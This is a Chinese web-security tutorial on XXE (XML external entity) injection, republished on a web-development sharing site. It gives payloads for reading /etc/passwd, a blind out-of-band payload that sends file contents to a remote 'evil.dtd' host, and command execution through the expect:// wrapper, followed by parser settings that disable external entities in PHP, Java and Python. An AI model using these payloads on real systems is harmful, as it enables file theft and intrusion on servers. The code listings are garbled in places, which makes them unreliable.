分享web开发知识

注册/登录|最近发布|今日推荐

主页 IT知识网页技术软件开发前端开发代码编程运营维护技术分享教程案例
当前位置:首页 > 网页技术

WEB安全番外第三篇--关于XXE

发布时间:2023-09-06 01:42责任编辑:傅花花关键词:暂无标签

一、什么是XXE

1、XML实体简介

(1)在一段时间中,XML都是WEB信息传输的主要方法,时至今日XML在WEB中作为前后台之间传递数据的结构,依然发挥着重要的作用。在XML中有一种结构叫做实体:

(2)一般其定义的标签关键字ENTITY,分为如下两种:

    一般实体<!ENTITY entity_name "entity_text"> 引用实体&name

    参数实体!ENTITY % entity_name "entity_text"> 引用实体%name

(3)此外还有两个概念内部实体、外部实体,内部实体如上就不赘述了,外部实体如下定义:

    <!ENTITY name SYSTEM "http://hostname.domain.domain/dtd/entities.dtd">

    <!ENTITY copyright SYSTEM "http://hostname.domain.domain/dtd/entities.dtd">

2、搞清楚了1中的内容,接下来我们来看XXE(XML External Entity)

  说白了就是XML外部实体注入,通过构造输入中的XML部分,当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

二、构造XXE进行利用

1、读取任意文件

(1)有回显的:

直接引用:

1 <?xml version = "1.0"?>2 <!DOCTYPE ANY [3 ????<!ENTITY f SYSTEM "file:///etc/passwd">4 ]>

引入外部定义或声明来引用:

声明的:

1 <?xml verstion="1.0" encoding="utf-8"?>2 ????<!DOCTYPE a[3 ????????<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">4 ????????%f;5 ????]>6 <c>&b<c> ???????

定义的:

1 <?xml verstion="1.0" encoding="utf-8"?>2 ????<!DOCTYPE a SYSTEM "http://www.m03.com/evil.dtd">3 <c>&b<c>

外部dtd文件如下:

1 <!ENTITY b SYSTEM "file:///etc/passwd">

当然外层会有java、php处理

(2)没有回显的,需要发送到远端服务器上:

 1 <?php 2 $xml = <<<EOF 3 <?xml version = "1.0"?> 4 <!DOCTYPE ANY [ 5 ????<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/ resource=/etc/issue"> 6 ????<!ENTITY %dtd SYSTEM http://a.b.c.d/evil.dtd> 7 %dtd 8 %send 9 ]>10 EOF;11 $data = simplexml_load_STRING($XML)12 #print_r($data)13 ?>

远端服务器上evil.dtd:

1 <! ENTITY ?% all2 ????"<! ENTITY &#x25; send SYSTEM ‘http://a.b.c.d/?%file;‘>"3 >4 %all

然后通过远端把这个传过来的文件定义成实体,也就是外部实体,外层在处理。

2、命令执行:

具体参考一个PHP的,当然这里需要php安装插件:

 1 <?php ?2 $xml = <<<EOF 3 <?xml version = "1.0"?> 4 <!DOCTYPE ANY [ 5 ????<!ENTITY f SYSTEM "except://ls"> 6 ]> 7 <x>&f;</x> 8 EOF; 9 $data = simplexml_load_string($xml);10 print_r($data);11 ?>12 /*13 例子参靠源自:14 作者:Pino_HD15 链接:https://www.jianshu.com/p/7325b2ef8fc916 */

3、SSRF:

  既然发起发起访问,name自然就可以SSRF、同样内网探测也可以。

4、对于不同程序语言

三、防御:

1、对开发语言配置禁用外部实体:

主要是

(1)PHP

1 libxml_disable_entity_loader(true);

(2)Java

1 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();2 dbf.setExpandEntityReferences(false);

(3)Python

1 from lxml import etree2 xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2、禁用外部实体

3、及时升级相关组件、中间件、避免组件中有类似的漏洞

四、参考资料:

1、https://www.cnblogs.com/r00tuser/p/7255939.html

2、https://www.jianshu.com/p/7325b2ef8fc9

WEB安全番外第三篇--关于XXE

原文地址:https://www.cnblogs.com/KevinGeorge/p/8441395.html

知识推荐

我的编程学习网——分享web前端后端开发技术知识。 垃圾信息处理邮箱 tousu563@163.com 网站地图
icp备案号 闽ICP备2023006418号-8 不良信息举报平台 互联网安全管理备案 Copyright 2023 www.wodecom.cn All Rights Reserved